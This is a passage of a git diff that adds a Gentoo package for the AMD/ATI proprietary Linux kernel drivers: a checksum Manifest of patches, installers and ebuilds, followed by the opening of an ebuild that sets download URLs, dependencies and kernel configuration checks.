--- /dev/null
+++ b/x11-drivers/ati-drivers/Manifest
@@ -0,0 +1,61 @@
+AUX amd-drivers-3.2.7.1.patch 560 SHA256 7cc315754a47fbda6bf36bcee01780da7c19535c4f6ec1cccc556e9a7b32d263 SHA512 bcdc89e7a7148f5eb5450364298de6fb95dcad0d3c8d7091e9236d4f4b9cff0be24d59e8ed4ccdde0c8e94985ab8b4e7d5848e1e0e7102c699edb9230dbe57ce WHIRLPOOL 85ef893cd8bffa0d41b99eccd8b6e1ed713f69cc683dee52268ea0d6bc6fd4a77b3fdab31dd1e35ec3bbd21b399725286289c9fb3a276eff3922c1f8cf0746a2
+AUX ati-drivers-12.2-redefine-WARN.patch 1316 SHA256 f7d8ad3307823925cf8b4c6540db17a51553e48dd008793fc026803bb2aa1ced SHA512 1ee5f7fb5dc629f186754dc83a7d718a6a8acda836dadb2b87bd616c424db0aba067fb833d966cf79425ad78d94ab3f7c4014bbe2356f394630b0761625e74ab WHIRLPOOL 75987965689042342a923d4542a3f1b5eb4ba8ce3fc1ede82be8aeffaa2154a0dc75c507a4772bc00ef510eee7f4b47a51a2ea43aadce6e742e842e348c15b40
+AUX ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch 799 SHA256 0001fa7f2c3e15ec315f6c963dd428b682778c129250941a849577b8b3293e36 SHA512 a7ae5e7017c9b5a68d112d9a77df40ada722b06aff0cc31147713bfbce2419f9ca8c22b40398ab8b80c86427ff086a5617fb6de93d540af54365c7039cdcfe0f WHIRLPOOL 809c5bf8f0b0381af6a8549c36fcd00e75ff2f571f21cef3f2dec9ea823c65c29db28373b7145f39b9ed2cad234ec3c063407fb7a12260cfe1fe62eb67b5780d
+AUX ati-drivers-2.6.33.patch 3888 SHA256 88c242d50e9e158b5cdfe8de49abb49deb9f7d4fd4a3e014b9092a5eaa58332c SHA512 20d94e258766dff4b18ef26bee66f415b8975bbbae8dd4bfd2d7354538302c571747d5d672d3cdd1fd97bb4ce8e24756ab9afc7ebd55e9f7f19e3acee8bfaff1 WHIRLPOOL d7d753fa4a1c3f9432cf151a3ea524173036462c7850dc9309a8097bba61237194970e99d735f9efebf43253fc626e7b9ab1e69f95919fa76b2b60bf98696d61
+AUX ati-drivers-2.6.34.patch 358 SHA256 b6da2f0ad829a14b7e50d4ff2bab493ce45a2f4493bc558e28122c4fe7d4032c SHA512 a9329d3696d99395667a0b022fa64c1d4c35caeb144c9e08404613febe525d8e286ec36332232b0072bcf46e9380aa04fb01d010028ff0de8cb7aa530c91768e WHIRLPOOL cff3dab1b4b27bf99bc3861377849ecb5824228eeffb8a02fc0c2b2246b6a585443aaac7ef10a561ea9ac8d2ff00af378e2412dfafc62816fb9ab3f2515b8d71
+AUX ati-drivers-2.6.35-and-newer.patch 434 SHA256 6a962e79bfd01cd35488dc946c4e0056b5734c15711b6cb9e28c6fadc92d6bb4 SHA512 2a2d0bc62d946ac765a321cf0ab6c6d595622fc57426678f12c8c116f9f8f472e180f8349632ed725c612830f27af4f48180634555c3c7462ce8e59989c295f3 WHIRLPOOL cc2c87578729ade8268394084bde899ae1690a4c8720f4e4b6bb5c3778d896af434440a2993d87bf5a6d445757fdd86384344e4616e167122cc1d526705ad093
+AUX ati-drivers-2.6.36.patch 876 SHA256 00ffca26787d4c2cab6848cf0bec043e6c099c60738aebacb2148e920738fcb6 SHA512 2ee3a5b342aa13a64e033c0de109afa4330d85db440177804f24a3ed27a112719f688d8ad9b353d5b7c49ebb5a8944c397c0da552a59d33e12a8f3cb8493616c WHIRLPOOL c6b1937ec94e06d99b8c15b5d9c66b028d9171e21cc6d059f4e2ca571a88f6adb2d8cbbb7901e662d7e26a8c4c4e4835f6f4d49d43a72c627c4e2584c9f5c1f9
+AUX ati-drivers-2.6.37.patch 495 SHA256 acce741df8842178c54db4a01ed68a9dd54c331b0d6c153ecaf4f088cf0f18a2 SHA512 7dbcf85400276ec15f2250d5f9d3a06d65653117a0a623bcab32395db511c2eae27e74eb4386b2f6167b214a8a94d2b863e5c60d1c954aa02e3ac4e8f27f873f WHIRLPOOL 52f9692292a8ede8db07e4c81b0d15104cc3b9b85fb3e065054e1bcbbd1903a5290754637d4a1b2d93199739d9ef18e9878df391601db3d9877c29c381ec0bbd
+AUX ati-drivers-2.6.38.patch 1645 SHA256 46ae66c3985ce3af21e36d3bd71019a6b81e2884099253e2772384bd67a77c24 SHA512 335203e4b1811f6aff97e5beedc83beebe45f98080a925c4db9ed6c4a167455717333cd4888754d0b65768e8ebc0dd6aa6addd9a0d27209ca72294f8ac963804 WHIRLPOOL 3c25a1d0a23707c05aaf4f10602e77158d5469f98cd7d2fc351f2b9a72561b803fefa8cbc15e5b17cf7938e7074608d93fc418a6e48e987422377bd800f9a685
+AUX ati-drivers-2.6.39.patch 1706 SHA256 5c996373065e91da6b4441bdc819b7081896944f4b69253c37bf4611a157c2e5 SHA512 78791d267cf53b4493d5483ca1259cf17b58f88ff92a1f5e86bcfccacd09407fb12859cbf628a1ec11ac85bf0d348b9f8932beb5cdafded8dee53c64d5921f58 WHIRLPOOL 48f3bbf0d976a70db24cb1690521f512ea44b6b4db98b9d7616ddfad7f273064154ef34c353cf97b2f448b7b913279978e008b38084a32a4548b640afe07f4cf
+AUX ati-drivers-3.2.8+-2.patch 351 SHA256 ba3158e05807112c715a65216dee30b23659456c2e50e0c6f533a5965afeb72a SHA512 cf9df9a984055ec805ca72139a92dd959bf4192ffe94ce2d63ca600a9ac8708a1aa99ceca519347259941dbd5f7972c022fe74716ac46357555f90056279c9c4 WHIRLPOOL ab16dc45544fc755968d9dc6fd18ad248e7743528e78e80e8cc7b6e78418b27812a1c1308c77ef3e67fff99a6c7781c2d93c4fd07a950918df1269a22c857efe
+AUX ati-drivers-3.2.8+.patch 797 SHA256 b30da95eebea23d4f54755bf986d7bd73ee5d13aa8e3d179ec3d0de90929e33d SHA512 859072e979681ae971e75b167351ef0aa7be521f6fb2e37cde8a3462345f6ec83af1c5b417d04165158847951018493f80fc3dff50f38bfa9b680bf6febae725 WHIRLPOOL 658d1d1868f783c9d31decf7102f790905e24723395fb148095e9a8ab30261b184e26f66651bbec18ddb97ca02dc1ae0d58f44fedaf11d6fe865bc83f1b943ad
+AUX ati-drivers-CVE-2010-3081-fix.patch 2730 SHA256 bbace941d6e1e399b7ab46affe1887edb9a38892ccc2a498017146b838818afc SHA512 56b0aec0344788cf50765284f879fe804226fc930f43efaa0c8d536e0e3164ce3d9218236977fcca3499a5b199bd57e1e5c9d92c77a2658a75d82f47586e9082 WHIRLPOOL da473efb8149f8de43987c842d0214978eb08bbd6b3060cfec1fed50152501e5f10dbe02743d9e61888790f2e9fcecd6c0aa96d3ff9b6e48348885df14398fbe
+AUX ati-drivers-do_mmap.patch 1405 SHA256 3fc9bae50d25d3bfe76a3a1e89c8d025674a4cb9afd16d3a5d8b3c25a66f536d SHA512 1a2f8fe7f2506037d6d158e5c2efffa39c503566284d8f516cb2d84db546eced24df5dcb8d74ac84911589efb4547d7f8610d78ad29703f9ed0a9890576c51b7 WHIRLPOOL 86daa957d7569b26fdf92929e5b04a32379af067a208628eab1a4541fdebfb51fa4bfedeec63f4685c6258adcba2ddc4223b69dca329ecbebd4ba13167f66f82
+AUX ati-drivers-fix_compilation-bug-297322.patch 1114 SHA256 edbfc56eec848389c3dfdd94362322de41027b9813128d2d4f8e476d1d8581e3 SHA512 c2c4674ff63b05c4f5f007c64f70ebfd4bf6ba1a82938f06647d9683315105e3cee77716eed1efdd599177457164e339145ed0d51f2bbd7ad1f383dbb64634cd WHIRLPOOL bd3aa26fb333850ac0a5b554ab7cd5ac583ef9f277d6ada64d27dcfef0f1fe5174f67e04f8e951275fcfe449a80d2701c3a1d85e65ac55ef5665144924b2b127
+AUX ati-drivers-kernel-3.8-acpihandle.patch 717 SHA256 f7012bbc1d27a4d9207f8ba78256684a74b917311f525d3b061c11caefad2846 SHA512 a064ad1ebbb1010349c22d6fd6a4a3715df3d7087353a70199957b5c1c325b533b21c3f004567362a834faa0d8f169296ef996765d47439fdad4109a0d01f85c WHIRLPOOL e0eb93cd367f9e6e1848c3c3301c914f783865eb5d6c11a27a334624ee84cf7ee99073a6a2ff69014c8b920a51933573bf1224f53ea64c2666968f93ca922003
+AUX ati-drivers-old_rsp.patch 989 SHA256 dd222de89b515046c6cbfef172a3ec8d4bc48664799b3bbfff648091c6d54b49 SHA512 b86a230f126950d309b899ab3445154cf38cb8127b7686d0a467df6d3561a1785747e9522c00b55a294961c1157fe41833a5a85d4737775ae68bdb4099b0ee37 WHIRLPOOL cd06422ee90587c5c7485074b03ccaaef921134c721c0d0f6f678a9c968aae6417523c77d6dfcccc856cb5d125579197cd3c6a5b1c8557ce621784eabd0c43fa
+AUX ati-drivers-redefine-WARN.patch 1135 SHA256 16b7e5f1527d3a9e80acb036e5684049a0d280521cc247d535a354236f863b10 SHA512 97c064b9b89288657a027d1161cc2e26781f882e9c189ae1a55a6fc28ed54a5bd8e3993f9b0b1f75cf29100cc30a9760bd3feaf296da6cc66580bde82a6d1ded WHIRLPOOL 7416f2a5e29622e7337cf87f79d45f1da6824645e3537d04100fa15fafedd53b567a5f3fb9c7423586b436dc5441bfc74427d59582b8df51e00c604c1bc6efac
+AUX ati-drivers-vm-reserverd.patch 408 SHA256 61128444938f94f911325b6cac810d3cb3614d0002758e48ba976b678414df30 SHA512 34cd4705f632b1493eac756538eb21fe0e090f78cf92cde7c2a7094a8fc8134ee6d5dd24c6bb9ad18c8ef46dd1d5505ae12d43032265cd4ade03793f277fe4c2 WHIRLPOOL 5a1a98145576b20bdd2e80e5f7f9a2b9bab02942a9fb83814d73d17f1bfec690ee0cd2ccfdf418f297e75432d8fcee8164a1d179eeb5bc716e1becf96bb373f1
+AUX ati-drivers-x32_something_something.patch 486 SHA256 9eb114a797089fca3693420305a6b668c4d7a16a722d5faa53dd904bba1b4c07 SHA512 157884244a49748c897a2eca1a46bf40631042d15af85c2b2f49bc3c3c48f5638dec815a4e9c67ee2c8b88cc15b7f71e9fe4d9bfebf5444bb169542048f66499 WHIRLPOOL f7583d7df16c9eb608aff2330b4bd55ede34986e6f3cf63aa4cb2c77dcfade7c499f1b4cef95fdc8e6ab28d7bb5544a80703bcf5a41eae6b90ca8830b6fdd888
+AUX ati-drivers-xen.patch 1994 SHA256 514dad9629fc689ec0344875a29d713f9d8de7ccbb0a22a2b80ede11bbbc6c58 SHA512 28eeaeea4589a5d87759e318abcf4f8d8e9b2fb3e289f76001cc17f8e515135aa023a424a0149240ad64fcf7721d15864c7218c30c3a097240c800384991e77f WHIRLPOOL 0f0965808d4270e8421d87575ffb1e51a2e095c746e7f536bb091b03287543d176f582976bfec51a5b9eb14c2e3a04c126b23447a6eb39f6e90eb76eda42236d
+AUX ati-powermode-opt-path-2.patch 1634 SHA256 e7749e04a3aa24132b13d0c694563a45c0d38e238f7412a75bd89aa9f9e9ead1 SHA512 7fc91789157d6211726d26be066e3984871eb579c77c422bde27f489f72215e66dbfb5d477ea6882d46ed6d0c63b9f01fdd5ee196fd6a2809bfc3ca22badc859 WHIRLPOOL a3d6f9335c748192a65bb3493a1dd2f604ef6b1270760908bb541d10ac9c4eb8009d7d5fb145b37c6fbfc1512a70ecda3c79f6f56396f8424f072fb92059e0a2
+AUX ati-powermode-opt-path-3.patch 1471 SHA256 35e73fef3d8e39714e8d6e73afaa7b205505db3bdd65c364e7ea02fdc0cb3055 SHA512 0e17026847062117993ba6115942d16421f6b9943afd57913c96e7550b0e49f3ed10e06bc98f9db1a5ba4af7c42dae6b55a332a97e73d48dba7f61ed0ad35ad4 WHIRLPOOL 39861d10d307e537549ed0c7967e18ad3ef658af66396f5491d1f2e13ab13e8b8e252d4c14b5ab616ff5aad69a599cf3b32accedd51438021d50cc074fa296a8
+AUX atieventsd.init 533 SHA256 20010ebc5cb286149f3c4c9c099b6470463ccdb8fd47cea054b783dc2ad1fff3 SHA512 9f8990bb5619f99524e0759a1c4b41b0b2c081c6eecb3916ab60df8e6b59d99e3615af61e0ba5b71d003ccaaf41e2143237b26f36f64f00a47e0fe94f83473dd WHIRLPOOL 21979818a19bc27e3527958c66bf45654df4a307862897530bc02be6616f45ee210590a9d1bcab84336c6061482034010efbb251770bfaf023f20ffae8212ecd
+AUX const-notifier-block.patch 878 SHA256 cd73f5e15d9521a989d8cd9b7e3b252406e7b89fdfc129fd2d470f0bc86e8457 SHA512 1b84cb85ce903d80ad50a0e2d53509016625d1ede070e18b800408d486dc89d5283d801d6449eb81ee25a7adffbd0094b57a301842364e1fb58cc6bf9623e5b4 WHIRLPOOL ee9785d250632cd8843a5995f36442ff6abec2d5a7158f3604a6bc147c7db251608b9484c3ac95376c4cc6b6a15f6682675bd011eb6a193a073ba873e17a9872
+AUX kernel/2.6.31-fglrx_find_task_by_vpid.patch 581 SHA256 4e95b588e894cfb89270168cd771c67bf270c805f30481fceebe47aac3f36980 SHA512 e65f31db60cd99c99dfba95c2f2fe0ee5f434092e7218dbdf6a727e3ffaab3d511541aa1ab64a53589d6fc89023c45d972708c0bd925840fa568f0d7f6faa512 WHIRLPOOL ee1061bff86a5711474eaea8b1b8a2cad5ff02e9a093e197af9a55e9b2dc33ed6bf38dfe02afec4f910250a241900049dd3986c65e95f98991a46549cb37c343
+AUX kernel/2.6.32-9.11-fix_compilation.patch 1434 SHA256 bd2df542c237d0570c3c75c0251514bbf8b67f3ceb40e734916ea53c75c189b7 SHA512 6676ba917616324e58a8df498cd2611523a38e2dfb5ea5683580951d3a39b2cc0040e00bc2238d1ef94f009e1771a6dddb2c02988d8af9aae6373f717ab9234b WHIRLPOOL 605bf802feede69c43a515b3b289c181c50b2f176028c7d170c41dd641bd5efed7d0ccad668d21a3d7c5c5c0f6418e317ba6c723e773269d063afb8990bae95b
+AUX switchlibGL 1349 SHA256 a4aa2107fdb903da77fea432bc809a1155e213db460fdec72fd1c3c7cc0d13a0 SHA512 51d2912aa6ec2002b096c0483be69650d682feec54486ed5226b91988bc1516f718c71d9f58a2b28e0dbc512c0300ea271f9a97885776dd045fe324f1549b85d WHIRLPOOL d335ea9c57a28f8450423089bbf798da77cc72fff6bad1221989412808abcd6bcb7afa41aa2b04231feff3dac6eaaff58a7595173e53b6cf0f5d3d591997b43d
+DIST amd-catalyst-13.4-linux-x86.x86_64.zip 122588023 SHA256 ebec78c7f78db3601d1c97116a6823076a7765318e16d88b619ebc80d4c6d1d5 SHA512 ce012f46527ee0073f658e97dd793954930b934b96be9e1c6cd1d344e7734ef81949b484701d5e7e1ebb221f46b5a617f4efb4445e42c06ac0a8b4eca76463fc WHIRLPOOL cb0f7af6d0474c3d521c5785bab49d76da7e09e1ddd02dc0e72b70b5afdb2bd1e07d4a4115a755f213718e7c32c816697d993b73706d58be68fa043aef1ad551
+DIST amd-driver-installer-12-1-x86.x86_64.run 106085279 SHA256 8d76700e0db68f74f735808ee7fd446cb5072734ba6ec03f2dd82c05ebfdc81d
+DIST amd-driver-installer-12-2-x86.x86_64.run 107213014 SHA256 054796cbf2d99e4b545d062ce8eabfd973e74e2e21a159092816238b001618fd
+DIST amd-driver-installer-12-3-x86.x86_64.run 108029053 SHA256 5f90c7e472ca0095efc16097ac7bcda846be0e980cc4d3e588cc4089efe8fb57 SHA512 5c5380dfcebacb7c4d7f0e6ffc5d26955f155266577c903bd4b4fc9d9bf5f241e6e13dc7ee14e14c96e9e0ad19d7d6680609978cfa1c5c4ec2f5d50881a43ee0 WHIRLPOOL 5e179a0ef89520dea6a5d249f4c55bd58310769131edc82babfb66c9ce946511effe7a32e883ba30a9bc40a3e6dc8194b57cbbfe0cb2593bec463de7816612f1
+DIST amd-driver-installer-12-4-x86.x86_64.run 108360519 SHA256 7f3ba3d96eba30fc09aec03ba72f5482d3b192bb0ea63a5e7b79454b053cb63c SHA512 fe466df547a05efb37b0dd1c685f819ceb51af83acefd65f2e500ab9165feac841d4b07afc32dc26391762963e929624e55115c0f505acb78289540baaadcfb5 WHIRLPOOL 7aa8817e75943977b753a93015a7d1e0f7a95383e6aaae7317da29eb07caa520a5376b2ab80e7caded543939d3c9428b80d915d5ba3d8377068349189890729c
+DIST amd-driver-installer-12-6-x86.x86_64.run 106660241 SHA256 b5c6070dc75e9296d0f04e7e0b3c6697f6c21872d50b1dcf4d7b3b0ab7ce7155
+DIST amd-driver-installer-12-8-x86.x86_64.zip 105413213 SHA256 62525173b2b7602aa4e7e46a109204d0f349abfbb135c86d03db5cd57642bb41
+DIST amd-driver-installer-12.6-legacy-x86.x86_64.zip 106888385 SHA256 5353a3f874d31f0fde46c390ce17cc2f27875156dbf3e7c20b5cca494a058102
+DIST amd-driver-installer-catalyst-12.10-x86.x86_64.zip 111686672 SHA256 ca2a097324687245801b3350316880d706c82f43684839dcf7f86f55141d835d SHA512 cef8a1f822d2a9bd81cf85c1410b75d400808946443c2bf95281f7c2cbcf376ac423199f41125825ed6639eaacd14ea688acc5c5b164186a4715b62ed6f5fb63 WHIRLPOOL 2186151882d9ba69af2a39a0a4dbb26adbff87fe69a90c40798e2390c44ce100e8d71f03c0c86e3a8be5d3429f98f3c107578aa5508b6fb983ca4235e0de8f74
+DIST amd-driver-installer-catalyst-13.1-linux-x86.x86_64.zip 114850263 SHA256 67898a922b6b58f25a276a144f16b19014f79c39e4d44d8d2883a467d31e34ad SHA512 30763ab7f47ac22c5b5055495e2d8ae6cc2c8e5ce711fa389f1145a48da2799020c2b8cbf082759d93628017860c39d69337f42ce21b78e1d60c9eda32096df9 WHIRLPOOL ee5dc85a89bc56858ef1c2bcdc6cbfde7e2f9e5675d209c1f6db877e0104cc536f1e18139f0b991a064b14b231a982770eef47368ea281067d62647b4c5365a5
+DIST ati-driver-installer-11-10-x86.x86_64.run 77926379 SHA256 a245e0305051313767fef1be88693702fccfb3f11c18a98f61c233af17e85f9e
+DIST ati-driver-installer-11-11-x86.x86_64.run 97090080 SHA256 fcd51cdc0c7572d443f5ce54576888f09efaced10b12ccf9fa775c81eaade013
+DIST ati-driver-installer-11-12-x86.x86_64.run 99618112 SHA256 0179d1f0425036e50b637e5153b0c64b25836d09e9d22bc50edfbdf6aed32b42
+DIST ati-driver-installer-11-6-x86.x86_64.run 75503458 SHA256 3dbb7cf1a5493588d872eb29b7376eb5db3913c4f35d631c3183d168eed1f67f
+DIST ati-driver-installer-11-8-x86.x86_64.run 75754239 SHA256 71e0194daef7a50c6d0d3b5712b05375a003d452e39c754278336c3811a2acdf
+DIST ati-driver-installer-11-9-x86.x86_64.run 76564617 SHA256 d9ad9c8e0bd250ac41c39d9b8e9f77efc82631f4bebacb82ddde982a86530d56
+DIST xvba-sdk-0.74-404001.tar.gz 583847 SHA256 731a2c489f2fb5d7318c1976061b26c1057a696f46d09dcf55fbada97fed17eb SHA512 aa1dd52b59eeeabd026d8b76e3b75eaf02587ef286438ba28884afeef5a5efaf50283b5ee4f5b81b12cf79cb4ec77c9a235a886b29fb7cdf850c9779f4b07b35 WHIRLPOOL 69917b746d353a884512e97b9d9a9b89e6f51add3119e69ddd119d51c0c3f2820b93a449fe42bd76d671dc505f92bf25b7f2c5868b33768fc68a19596e460951
+EBUILD ati-drivers-11.10.ebuild 7152 SHA256 cab997c19267e119ef24017c65178f9ebbb7744d224cf9858a197cf19459da0d SHA512 5a2ede4fe8eb731a0161ec39eaf15c9e315624669a2ca6084b3ebbb7f38eb94586a7faa6e61eba29e97f4802f9f748752781d4675af97e7e756e2bd21b2286ce WHIRLPOOL 6097ce0703176f7f9331b037d872ff8671c6d16effde5d5e613b082018323dcd4c7de9d5c6297bb1b5fb16a458d3dc8f5feb2e099f44839358d6713032fd8a02
+EBUILD ati-drivers-11.11.ebuild 7152 SHA256 cab997c19267e119ef24017c65178f9ebbb7744d224cf9858a197cf19459da0d SHA512 5a2ede4fe8eb731a0161ec39eaf15c9e315624669a2ca6084b3ebbb7f38eb94586a7faa6e61eba29e97f4802f9f748752781d4675af97e7e756e2bd21b2286ce WHIRLPOOL 6097ce0703176f7f9331b037d872ff8671c6d16effde5d5e613b082018323dcd4c7de9d5c6297bb1b5fb16a458d3dc8f5feb2e099f44839358d6713032fd8a02
+EBUILD ati-drivers-11.12.ebuild 7152 SHA256 cab997c19267e119ef24017c65178f9ebbb7744d224cf9858a197cf19459da0d SHA512 5a2ede4fe8eb731a0161ec39eaf15c9e315624669a2ca6084b3ebbb7f38eb94586a7faa6e61eba29e97f4802f9f748752781d4675af97e7e756e2bd21b2286ce WHIRLPOOL 6097ce0703176f7f9331b037d872ff8671c6d16effde5d5e613b082018323dcd4c7de9d5c6297bb1b5fb16a458d3dc8f5feb2e099f44839358d6713032fd8a02
+EBUILD ati-drivers-11.6.ebuild 7216 SHA256 5b7e43780f2ed164f0ed60f78b16fa7870bee39b0f5c02ba0b2efcde80f1dc93 SHA512 e2d933c2270f1ff4e0d02280c726b4db3f179d692933edcd15f38fe93b5c55204856ecc092934bbcff7f678a6aeece38df184c938d712e7b8b5764aea5e9b801 WHIRLPOOL 8a4c436586bd3ca81a5b222af032002ccc0a9c1d8111b7025f152c192e750958a59a356404de6feaeecb4b94b5ba5287d916d07285988f8e0dce3a746f0eb1e6
+EBUILD ati-drivers-11.8.ebuild 7152 SHA256 cab997c19267e119ef24017c65178f9ebbb7744d224cf9858a197cf19459da0d SHA512 5a2ede4fe8eb731a0161ec39eaf15c9e315624669a2ca6084b3ebbb7f38eb94586a7faa6e61eba29e97f4802f9f748752781d4675af97e7e756e2bd21b2286ce WHIRLPOOL 6097ce0703176f7f9331b037d872ff8671c6d16effde5d5e613b082018323dcd4c7de9d5c6297bb1b5fb16a458d3dc8f5feb2e099f44839358d6713032fd8a02
+EBUILD ati-drivers-11.9.ebuild 7152 SHA256 cab997c19267e119ef24017c65178f9ebbb7744d224cf9858a197cf19459da0d SHA512 5a2ede4fe8eb731a0161ec39eaf15c9e315624669a2ca6084b3ebbb7f38eb94586a7faa6e61eba29e97f4802f9f748752781d4675af97e7e756e2bd21b2286ce WHIRLPOOL 6097ce0703176f7f9331b037d872ff8671c6d16effde5d5e613b082018323dcd4c7de9d5c6297bb1b5fb16a458d3dc8f5feb2e099f44839358d6713032fd8a02
+EBUILD ati-drivers-12.1-r1.ebuild 7304 SHA256 6654771156f69919a895b5fb0f5444e3d41af69355e116d7d59b2549cbac501d SHA512 507b024789e65fbba470a4b4c07b8307a7518227888fce24a05fa27ac607a49696bb037973d9adda3e350971ba3210205ae18e3831bf08149556a51fa4815fd1 WHIRLPOOL c0b592bb9a72a73005b8cbf5b0ee3a99ffe59548553e8185457093b50dc2902740226302bb3d77b2212226508f90dfef378d7127de994af29e4528ea3badc118
+EBUILD ati-drivers-12.10.ebuild 7399 SHA256 c7619e83298e226f934771621bdb3d00db2d4c303ca541ca024aa9a8fe749d5d SHA512 b85b158fedabb772ae843bd0a40400bbdc3d027de660be2f38dba6051aa3087cbd88033ce1d278644e6ba468d4d2053c7e9b2788e354a37a9f8dddd1c76a83df WHIRLPOOL d9b54557002e5948f322a2373f78a1de98429818d966c012814d924a6eb73f429e6bf2765aa46bc393b19804f7c34404d6233f111bfdc3ed313b031ae5900b6d
+EBUILD ati-drivers-12.2.ebuild 7403 SHA256 67d5116db4cf555f142adf9f22127403f52705477ca42af269efc79963b35f3e SHA512 0980eb900443d71500a3a2796eb3c7edfbd7e65c9b79b3b4988cc2a53f4e4a84df7e8db583a23fab024d63a2d417125433bc6af204719f1b8150619976cad759 WHIRLPOOL d4ab46b77020f0a2b65ca5f33d779da1ca40236b9ef27d91eaf44136b95776c8fb00d91b4344c870358d1237a91c5f70d5b9ad0033344371c43363f5626fe5d6
+EBUILD ati-drivers-12.3.ebuild 7403 SHA256 67d5116db4cf555f142adf9f22127403f52705477ca42af269efc79963b35f3e SHA512 0980eb900443d71500a3a2796eb3c7edfbd7e65c9b79b3b4988cc2a53f4e4a84df7e8db583a23fab024d63a2d417125433bc6af204719f1b8150619976cad759 WHIRLPOOL d4ab46b77020f0a2b65ca5f33d779da1ca40236b9ef27d91eaf44136b95776c8fb00d91b4344c870358d1237a91c5f70d5b9ad0033344371c43363f5626fe5d6
+EBUILD ati-drivers-12.4.ebuild 7523 SHA256 a49982cbdc74bd4b469965c39621076c879b34b85921411f634189740129fa7e SHA512 a5424d7b9f4aec53c3eedd82b6fe54f3999cca4c126c3459084abefbf8e715c67b56ea30cc1b177364cbede8b69517b7ef7b513727767fc65790ba036c5ec0e7 WHIRLPOOL 9c1e6f64cc31e17db68e49479cf4250c1dd6a652dab8b34052c1d7f43c9c88a602a806e6356a4d6054befcf1dfacb4676c59268ff648905723628a4a78805f1c
+EBUILD ati-drivers-12.6.ebuild 7752 SHA256 ad803b497c5082dbf25fd7967a5e1ea18504ee5db266f0966600c1819e9ed636 SHA512 1e179237eca74034992223688364416ab4128b1ec2761951a83d68a776d81d93abb6759fc91c05a9f8a90e9f17cc50ee841df6b82168dd02799e53b70d50a818 WHIRLPOOL f338e9344c3738893f97ae1d4a5de6f9580f525cad79492215db435ec1b3ceb7bb9a41b73a76e9fdd7ce2f89e4f34d89f8d77cc715e296b1340baacb1d99f34c
+EBUILD ati-drivers-12.6_beta_pre897.ebuild 7366 SHA256 7ff0e54f530b6ea370f78acfc80e804a551d60f9769f99b49d1590b303618a62 SHA512 6670b2d5aeb3b7be2bc30d735cc058322d7b9d36d269c61b4e38b19a621e97f6bfee72d7bb36530e4e09f7bf87c96145a3ce315a42264dfe92010d014ab2764a WHIRLPOOL 125b054977cca0266a0a94a341d07cb18df8d7b584d3d0caebc75517e74456a7032e716463d588dda229062262d224879a300d43317c5acb0b5849be8a21bad4
+EBUILD ati-drivers-12.8.ebuild 7276 SHA256 f40522909c982ca2b3a0c81efcfbea93575491c251130a2c952ed97013f6fcef SHA512 bd3938a12a85ecac418022f0be3e318f8142a985ef26ffd95ac931971ad09df1f9ca238ac1692a1fe6752085e75c7aa1d08cf7b952a92e44bab634ffa7aff3ff WHIRLPOOL da5c2bbd249700b1f1e51610e2fd6ed369be7b2a218c22dd883cbb14ac30ba204f15f850dcac73aefe9dca54772ef6e03052f7cd371a7fc3ced13f255a16bf36
+EBUILD ati-drivers-13.1.ebuild 8255 SHA256 fbb05e616ba13e81e95659927be00ae85c17c27c4cf4b51c69d7b7b7268b2ec1 SHA512 706069a30d980f049bb402f4979c9c20262ffeaf0844fd4c1d3cfd63eecf9622a6bbd54441b6ef8d0653b2ceffcfc270666e055c37153486e52462b4146553e5 WHIRLPOOL 12239ae2782fb8fc8f298785d790d9c640fee57e2fa95a3ab50cdbabaa77cc4ba4425ddb2dfa0cc47624ab3b49486ef883ba864c598b6f4fbdff1de5369a2630
+EBUILD ati-drivers-13.4.ebuild 6506 SHA256 b07cf387bc966984c4813d6e1f48ab9ccc857b79d289d624df1786d868fdf00c SHA512 0c88520c2dc4d6d4428c34acfceeb842bc72cb3e3b472d55c8516dd21f61d0caca081e2ef45cbe6b537b21c2ff5850e9386f473e5ac6e237be3724fb08f33c24 WHIRLPOOL f9dd28392d6b8a15b8c4929763fda61244706d4494fcdf1529bdca56826d1473625c0904a1084aa0ddb657049d43cc3951e708de6c10532e79b800cbfd591b5f
diff --git a/x11-drivers/ati-drivers/ati-drivers-11.10.ebuild b/x11-drivers/ati-drivers/ati-drivers-11.10.ebuild
new file mode 100644
index 00000000..d009c8c1
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-11.10.ebuild
@@ -0,0 +1,233 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
